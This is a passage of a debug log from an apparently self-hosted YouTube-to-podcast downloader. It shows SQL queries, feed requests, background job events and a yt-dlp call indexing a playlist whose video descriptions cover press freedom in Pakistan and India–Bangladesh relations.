s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:28:59.648 [debug] QUERY OK source="media_items" db=1.2ms queue=0.4ms idle=480.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:28:59.650 [debug] QUERY OK source="source_metadata" db=0.6ms idle=483.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:28:59.652 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.4ms idle=484.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:28:59.652 [info] Sent 200 in 8ms 14:29:00.073 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:27.449 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:57.452 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.075 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:26.426 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:30:26.426 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:30:26.428 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1261.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:30:26.430 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=1262.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:30:26.431 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1264.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:30:26.432 [debug] QUERY OK source="media_metadata" db=0.6ms idle=1265.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:30:26.433 [info] Sent 200 in 7ms 14:30:27.455 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:57.458 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.077 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:27.460 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:55.651 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:31:57.462 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.079 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:27.465 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:57.468 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.081 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:27.471 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:57.473 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.083 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:27.258 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:34:27.259 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:34:27.261 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=973.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:34:27.263 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=94.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:34:27.265 [debug] QUERY OK source="source_metadata" db=0.2ms idle=97.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:34:27.266 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.2ms idle=98.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:34:27.267 [info] Sent 200 in 9ms 14:34:27.475 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:46.368 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:34:46.369 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:34:46.371 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=1202.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:34:46.372 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1203.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:34:46.373 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1043.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:34:46.375 [debug] QUERY OK source="media_metadata" db=0.8ms idle=206.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:34:46.376 [info] Sent 200 in 7ms 14:34:57.478 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.085 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:27.480 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:57.482 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.087 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:27.484 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:46.662 [info] {"args":{"id":1},"id":83,"meta":{},"system_time":1768055806662304848,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 14:36:46.664 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1475.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:46.665 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1476.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:36:46.668 [debug] QUERY OK source="media_items" db=1.0ms queue=0.3ms idle=1053.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:36:46.670 [debug] QUERY OK source="media_items" db=0.7ms queue=0.6ms idle=18.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 14:36:46.671 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:46.672 [debug] QUERY OK source="settings" db=0.5ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:36:46.716 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 14:36:46.717 [debug] Current batch of media processed. Will check again in 1000ms 14:36:46.718 [debug] QUERY OK source="settings" db=1.2ms queue=0.2ms idle=50.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:36:46.719 [debug] QUERY OK source="settings" db=0.8ms idle=49.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:36:46.720 [debug] QUERY OK source="settings" db=0.5ms queue=0.4ms idle=49.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:36:46.757 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/45/2b/452b82d391749e11e802029397332d397b17cdcb72864d1b047e1a55c1d1fead.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:36:47.718 [debug] Current batch of media processed. Will check again in 1000ms 14:36:48.719 [debug] Current batch of media processed. Will check again in 1000ms 14:36:49.720 [debug] Current batch of media processed. Will check again in 1000ms 14:36:50.721 [debug] Current batch of media processed. Will check again in 1000ms 14:36:51.722 [debug] Current batch of media processed. Will check again in 1000ms 14:36:52.724 [debug] Current batch of media processed. Will check again in 1000ms 14:36:53.725 [debug] Current batch of media processed. Will check again in 1000ms 14:36:54.726 [debug] Current batch of media processed. Will check again in 1000ms 14:36:55.705 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:36:55.743 [debug] Current batch of media processed. Will check again in 1000ms 14:36:56.752 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 14:36:56.871 [debug] QUERY OK source="sources" db=82.0ms queue=0.2ms idle=585.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:56.966 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=776.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:57.035 [debug] QUERY OK source="media_items" db=68.6ms idle=777.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 14:36:57.081 [debug] QUERY OK source="media_items" db=40.8ms queue=0.2ms idle=850.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "54780fa2-57bd-483b-a74c-791c77594cdb", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 14:36:57Z], ~U[2026-01-10 14:36:57Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 14:36:57.082 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=344.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:57.086 [debug] QUERY OK source="media_profiles" db=2.1ms queue=0.9ms idle=226.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:57.090 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=121.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 14:36:57.092 [debug] Current batch of media processed. Will check again in 1000ms 14:36:57.494 [info] {"source":"oban","duration":7297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:58.093 [debug] Current batch of media processed. Will check again in 1000ms 14:36:59.098 [debug] Current batch of media processed. Will check again in 1000ms 14:37:00.091 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:00.100 [debug] Current batch of media processed. Will check again in 1000ms 14:37:01.101 [debug] Current batch of media processed. Will check again in 1000ms 14:37:02.102 [debug] Current batch of media processed. Will check again in 1000ms 14:37:03.103 [debug] Current batch of media processed. Will check again in 1000ms 14:37:04.104 [debug] Current batch of media processed. Will check again in 1000ms 14:37:05.105 [debug] Current batch of media processed. Will check again in 1000ms 14:37:06.106 [debug] Current batch of media processed. Will check again in 1000ms 14:37:07.107 [debug] Current batch of media processed. Will check again in 1000ms 14:37:08.109 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi 